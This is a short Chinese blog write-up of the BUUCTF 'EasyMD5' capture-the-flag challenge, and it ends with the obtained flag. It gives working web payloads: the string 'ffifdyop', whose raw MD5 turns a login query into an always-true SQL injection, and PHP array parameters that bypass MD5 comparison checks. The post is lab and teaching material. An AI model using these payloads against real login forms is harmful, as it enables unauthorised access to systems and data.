【BUUCTF】EasyMD5
题目就是一个很普通的表单,F12也看不到什么
随便填个数据抓包看一下
1 | select * from 'admin' where password=md5($pass,true) |
看来突破点是 md5($pass, true)
md5($pass)
的意思是计算 $pass
的MD5的值并返回十六进制格式,如果设置为 true
,将以二进制的形式返回,这里存在一个漏洞
当 $pass = ffifdyop
的时候,md5($pass,true) => 'or'6xxxxx
1 |
|
输出结果:
这样会导致原本的查询语言会变成:
1 | select * from 'admin' where password= ''or 1 //永真 |
输入 ffifdyop
,登录成功
跳到这个页面
查看源代码:
1 | <!-- |
payload:?a[]=1&b[]=2
到达以下页面:
1 |
|
payload:param1[]=1¶m2[]=2
得到:flag{15332b95-2169-45b1-913a-063da23053ad}
- 标题: 【BUUCTF】EasyMD5
- 作者: Itachi
- 创建于 : 2021-11-27 15:01:08
- 更新于 : 2021-11-27 22:15:56
- 链接: https://blog.tarchi.top/ctf/【BUUCTF】EasyMD5/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论